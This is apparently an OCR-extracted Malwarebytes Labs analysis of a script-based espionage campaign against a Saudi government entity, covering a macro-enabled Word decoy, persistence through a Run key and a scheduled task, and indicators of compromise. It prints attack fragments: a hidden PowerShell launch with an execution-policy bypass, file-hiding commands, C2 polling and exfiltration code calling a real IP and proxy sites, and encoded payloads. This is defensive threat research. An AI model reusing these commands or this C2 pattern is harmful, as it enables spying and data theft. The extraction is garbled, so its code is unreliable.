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Elaborate scripting-fu used in espionage attack against Saudi

Arabia Government entity

By Malwarebytes Labs
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We recently came across a campaign targeting a Saudi Arabia Government entity via a malicious Word document

which at first reminded us of an attack we had previously described on this blog.

In our previous research, we detailed how an information stealer Trojan was deployed via a Word macro, in order

to spy on its victims (various parts of the Saudi Government). The stolen information was transmitted back to the

threat actors’ infrastructure in an encrypted format.

This new threat also uses a macro to infect the target’s computer, but rather than retrieving a binary payload, it
relies on various scripts to maintain its presence and to communicate via hacked websites, acting as proxies for the

command and control server.

The malicious script fingerprints the victim’s machine and can receive any command that will run via PowerShell.
In this blog post, we will describe the way this threat enters the system and maintains its presence while constantly

communicating with its command and control server.

Covert delivery and persistence

The decoy document bears the logo of one of the branches of the Saudi Government and prompts the user to

“Enable Content” stating that the document is in protected view (which is actually true).

A high-level summary static analysis of this document reveals that it includes a macro as well as several Base64

encoded strings.

OLE:MAS--B-- target.doc (Flags: M=Macros, A=Auto-executable, S=Suspicious keywords, B=Baseb4 strings
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One of the first routines the malicious VBScript performs is to disable or lower security settings within Microsoft

Document_Open
Document_New

Chr

Lib
Shell

vbHide

Base64 Strings

"\x91\xea\xe7z]\xf6'

Private Sub
Document_New()

NewDocWithCode
End Sub

Ssub NewDocWithCode()
On Error Resume
Next

Dim doc As
Document

Set
doc =
ActiveDocument
Dim i, j As
Integer
j = doc.VBProjec

Runs when the Word document is opened
Runs when a new Word document is
created (obfuscation: Base64)

May attempt to obfuscate specific
strings
May run
May run
command

code from a DLL

an executable file or a system
{obfuscation: Base64)

May run an executable file or a system
command (obfuscation: Base64)
Base64-encoded strings were detected,
may be used to obfuscate strings
(option --decode to see all)

kernel3z

UHJpdmFOZSBTAWIGRGY jdW1lbnRFTMV3KCKKICA
gIE51deRvY1dpdGhDb2R1CkVUZCBTAWIKCINIYL
BOZXdEb2NXaXRoQ29kZSgpCiAgICBPbiBFcnIve
1BSZXN1bWUgTmV4dAogICAgCiAQICBEAWOQZGY ]
IEFZIERVY3VtZW50CgogICAQU2Ve

IGRVYYA9TEF jdGL2ZURVY3VtZW50C1AQICBEaW®
gaSwgaiBBcyBIbnR1Z2VyCiAgICBqIDAgZGIjL1
ZCUHJvamV jdC5WQkNvbXBvbmVudHMoI1TRoaXNED
2N1bWVudCIpLkNvZGVNb2R1bGUUQ291bnRPZkxp
bmyzCiAgICBqIDAgalArIDEKICAg

Excel and Word by altering corresponding registry keys with values of “1”, meaning: Enable All (ref).

The VBScript also fingerprints the victim for their IP address by querying the

Win32 NetworkAdapterConfiguration class:
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apterConfiguration |-Filter

_.IPAddress[0] -NotLike } {51 51
return [$ips.subString (1)

It then proceeds to retrieve a stream of data from the Pastebin website using its own proxy:

(ml & mZ & 3 & m4 & m5 & mé€

=| Progress Telerik Fiddler Session #3265 | https://pastebin.com/raw/T3tBTUBU
g leri ! " 77 7

Request Response Properties
+ L ] i E

Headers SyntaxView ImageView HexView WebView Auth Caching Cookies Raw  JSON XML
SUFEZWIUar VNGB RGE WIMGBMKE E VU MaUr S UGG VTG ABREVE TUFLG UF HUUFFUUT SUGHG VPNTKBHEIS T VEBMEFH
YUFZUUJrQURRQVpnOmhBRGABWIFCaUFHWUFMUUJpQURFOVING TBBROVBTVFCaOFETUFOUUEXQURNQUSBAXpBRO1BT1FBM
UFERUFPQUJoGQURVQYpBQXdBREFBWmdBNUFHSUFP UUEzQURNGVInGm 1BRE1BTUFBAOFHTUFaUUJoQURFQUSBQTVERFVET
UFBdOFESUFNQUF4QURZQUSBATFBRO1BTXdBMOFEWUFOJOF3QUdJQYpRQTRBRFFEWmMdBek FERUFNAOEXQURVQVpBOmxBRO
1BTVFCaOFEQUFNAOE1QURRAVIRGTNBR1FBTXdCalUFHVUFOQ UG UdVAVIRQTJBR1VBTmdCh EFEUUFNUUF4QURJQU13GXBR
EFBTmdBNEFEZOFNZOFSQURFAVI30mIBR1FBWmdBe EFEYOFZd 0JpQUdJQVI3QXIBRFVBW XdBek FHRUFZdOEwQUR{USBATBBAT
09y BEY29uVk Wy VHRvLVMIQ 3V ZXNUemlO ZyAgLWsglCa2MiduO TMpKSkaKSApfCBp RVg=

w2
="RGlt|GSialNoZWxsCINIdC By Ymp TaGVsbCASIFd TY3JpcHQUQ I YXRIT2JgZWNOKCJI XU 2Nya XBOLINo ZWaslilk K'Y 29tb WFUZCASIC Jwb
3dicnMoZWxsLmVAZS AVAuZGI3U3R5bG UgaGlk 2GVulC1FeGVjd X Rpb 250b 24 Y kg Qnlw Y XNzIC Tub 2xv Z28gL WhvcHJv ZmlsZS AL Zm

IsZSBDOKVe2Vye TowdWsaWNcZGHdW 1lbnRzXE5UL TRBVFMucHMxlgpy Ymp TaGVsbC5S5d W4 Y25tb WFuZCwwCINIAC By Ymp TaGV
sbCAIIESvdGhpbme="

[System.Text.Encoding]::UTF8.Get String([System Convert]::From Base64 String ($x 2)) | Out-Fil
wscript C:\Users\public\documents\NTSTATS vbs

ps name mshta exe | kill

s -name mshta | kill

askkill /F /IM mshta

askkill /F /IM mshta exe

0:0  0/103,963 Find... (press Ctrl+Enter to highlight all)

C:\Users‘publicdocuments\NTSTATS vbs

[System Text Encoding] UTF8 GetString([System Convert]--From Base645tring(Sx)) Out-Fi\aL: \Users'public\documents\NTSTATS ps1

| ‘ View in Notepad ” |

The data is converted into two scripts, a PowerShell and a Visual Basic one, the latter being used for persistence

on the infected machine via two different hook points: a Run key in the registry and a scheduled task.
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. Shell Extensions
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Mame Type
REG_SZ
REG_SZ

ab) (Default)
3_‘_'} WindowsOptimizations

Data

(value not set]

wscriptfChiUsers\Public\Documents\NTSTATS.vbs I

<

1

Computer,HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

() Task Scheduler
File Action View Help
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> L@ TaskSche Task Scheduler Library E

(& WindowsOptimizations

Ready Atlog on of any user

< [0
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When you create a task, you must specify the action that will occur when your task starts. To change these

actions, open the task property pages using the Properties command.

m.| »

Action Details

Start a program

| C:\Users\PubIic\Documents\NTSTATS.vbsI

[

] Create Basic Task...
= Create Task...

Import Task...

5l Display All Running T...
4] Enable All Tasks Histo...
=

Mew Folder...
View

Refresh

BB

Help

m

This VBScript is really a launcher for the more important PowerShell script, and both are stored as hidden system

files under the Documents folder using the following commands:

attrib +s +h "C:UserspublicdocumentsNTSTATS.ps1" attrib +s +h "C:UserspublicdocumentsNTSTATS.vbs"

Espionage and exfiltration

That PowerShell script also has the same instructions to lower Office’s security settings but more importantly is

used to exfiltrate data and communicate with the command and control server.
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File Edit Format View Help

e 7 <« Users » Publi PublicD = pim objshellset objshell = wscript.createobject

Q'v-'v ECE R UICR U 1T OCUMENTS ("wscript.shell")command = "powershell.exe -windowstyle

hidden -ExecutionPolicy Bypa -nglogo -noprofile -file

Organize ¥ Includeinlibrary »  Sharewith » c:\users'\public'documentsYNTSTATS. psil'objshell. rRun
command ,0Set objshell =

-
- Favorites (s

Bl Desktop || Andrew.key
&8 Downloads =| | 2| NTSTATSwbs
*| Recent Places MNTSTATS.psl

File Edit Format View Help

= ([ruNTiME. INTEROPSErvICES. MARSHAL] : :ptrTostRiNGUN ([RUNTIme .
desktop.ini . INTEROPServICES. mArSHAT] : i SECURESTrIngTOgl1OBATALLOCUNICODe
e My Music ($('76492d1116743f0423413b160502534 5MgBBAHQANWALAEGACAASAFQ
) v AYQBDAGBADWBEAEYASQBPAFQAQQBEAEKAMGBUAHCAPQATAHWANAB JAGUAOG
t| Documents My Pictures BhADKAYWAIAGYAOAB 1 ADYAOAETADAAMQA4 ADUAZ QAXADCAYOQAZAGMAZ ANLA
K . ) GIANGE jADKANGE j ADEAYWERADAANQAYADGAZ AASADIAMAAL ADGANAASADEA
@' Music My Videas NQEhAGUAMgEMADGAOABE JADIAZ gA3ADYAMWE 1 AGYAMWAL ADEAMQEKADgAY QA
| Pictures 1ADMANWERADIAMQE 1ADYANQALADEAOQE JADUAMQAZ ADYANGALADUANAASAG
. UANABT1ADIAZQADAGOAZ gBhADGAMWE 1 AGEANQAZADKAMOASADCAZ gB 1 AGMAZ
B videos gADADUAMAAIADMAOQAWAGMAYQAL ADGANWADADUAZQE 1 ADCANABKAGMAYQAW
M| < AGIAMgAL AGOANAAXAGEANQAWADQADQAXAGMAZ QB J ADUAMQADADCADAASAGE
. ot () oot ANAALADIAYWE JADQANWAYAGEAZ QAL AGOAMAA SAGQANWAZ AGY AMAAWADYAZQ
U OiEwE HEi O HiE BhAGUAYgQAZADUAMQE j ADCANAASADMAMQA3AGQAZ AR J ADEANWEMAGEAZ gB 1A
GEAZABTAGMAMOAL ADAANWEMAGYANGE 1ADEAZ AASAGIAZQE T ADQANGE T ADMA
ZQALADCAOQBMADMAMgAL AGMAMAAZ ADKAZ gAZAGTAOAADADAANGAL AGUANWA
XADQAYQAWADY AYWBKAGEAZ QBKAGUAYWALADQAOQBKADMAZ QB 1 ADCAZQAXAD
kAMQE 1 ADGAMOAWAGUAMABhAGY AMQAIAGUAZ AAJ ADTAMWA SAGEANABJADIAD
AAAADYAYQAXAGEANAAIADCAMOASAGEAMQE J ADIAZQE J ADEAMQAWADMAYQAX
ADMAOAASAGTAMGASAGEAMAAL AGIAYQALAGMAYQAWAGDAOQASADCANQAYADA
AMWALADCAMOAWAGMAY QAXADUAOQA SAGMAZ QA2 ADKANWE J AGMADQAJ AGY AMA
B1ADGAYQALAGOANWE 1 ADGANWAL ADKAYWBKADUANQAYAGOADAAZ AGQAMAAZA
GMANGE 1 ADAANGAZAGUAYQAL ADUAYWAWADKAYQAZAGUAOQBhAGQAYQBRAGEA
MgE 1 AGQAZ gAXADCAOQAXADLAMgEMADE ANQEKAGOAMWADADEANGALAGQANGA
1AGUAZQALADYANAAIADEAZ QA SADYANWA SADMAMGADADKAZ gAIADEANAE JAD
AAYgAOADEAMQE ] ADQACQAZAGQANWA S ADQAYWEMADQAYQEhADAAYgAZ ADUAY

WE1ADKAMWADADMAMWE J ADUAZ gASAGYAYQADADEAMgBhADQAYWADADMANGEM -

A unique ID is stored on the victim’s machine (in the same folder as the scripts) in a file called [username].key
and is used to receive instructions via a server located in Germany (although it appears to be down at the time of

writing).

GET http://144.76.109[.]188/al/?action=getCommand&id=[user ID] HTTP/1.1

A function called getKey retrieves the unique ID from the .key file stored on the local hard drive to register the
machine as a new victim. If the key file does not exist, it queries for additional system information (computer

name, IP address, OS version) and then creates that key (Set-Content $keypath $id).
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Another function called getCommand uses the key as a parameter to then contact the C2. This command runs

every 5 minutes:

while ($true){ getCommand $key start-sleep -Seconds 300 }

function getCommand ($
{

mmands = httpGet —url
gth —gt 477
mmands . Split (" {::}

The malicious script can receive and run any command the attackers want via PowerShell, making this a very

powerful attack.

The eventual exfiltration of data is done via several hardcoded websites acting as a proxy via the sendResult

function:

function sendResult
{
param([string] [string] 5cmdId, [string]$result)

5 Id"

5-_-|:|nfig ["

. Schunks; ++53){
.
unks) {

= Sresult.S

$httpResult = httpGet "

{
Schunk = $result.Substring($j*
$httpResult = httpGet "$

ttpResult -eg
unter

config['"r

t-Sleep —s
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Base64 encoding:

?action=getCommand&id=[user ID]

HTTP/1.1

uments"';

The transmission of data is done via Base64 encoded strings, one for the user id (.key file) and one for the

exfiltrated data.

GET /wp-content/wp_fast_cache/wmg-global.com/Senditem.php?c=[removed]== HTTP/1.1 Host: www.wmg-globa

The parameters passed on the URL in the Base64 format:

action=saveResult&id=[removed]&cmd=2&chunk=1ast&res=[removed]=

Decoding the value in the variable “res”, we get the following info.

Connection-specific DNS Suffix . : [removed] Description . . . . . . . . . . . : [removed] Physical .

Script based attack and protection

This attack is very different from the typical malicious spam we see on a daily basis, blasting Locky or some
banking Trojan. Indeed, there is no malicious binary payload (although one could be downloaded by the C2)
which makes us think the attackers are trying to keep a low profile and remain on the system while collecting

information from their target.

Relying on scripts as part of the attack chain and ongoing infection is an interesting concept due to how modular it
is, not to mention more likely to stay undetected from antivirus engines. At the same time, it needs to rely on

various encoding techniques because it can’t make use of a packer like a traditional malware binary would.

Malwarebytes users are already protected against this attack thanks to our signature-less engine.
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Indicators of compromise

Scripts:

C:UserspublicdocumentsNTSTATS.ps1 C:UserspublicdocumentsNTSTATS.vbs

C2:

144.76.109[.188/al/

Proxies:

larsson-elevator[.]com/plugins/xmap/com_k2/com.php?c= spearhead-training[.]com/action/point2.php?c=
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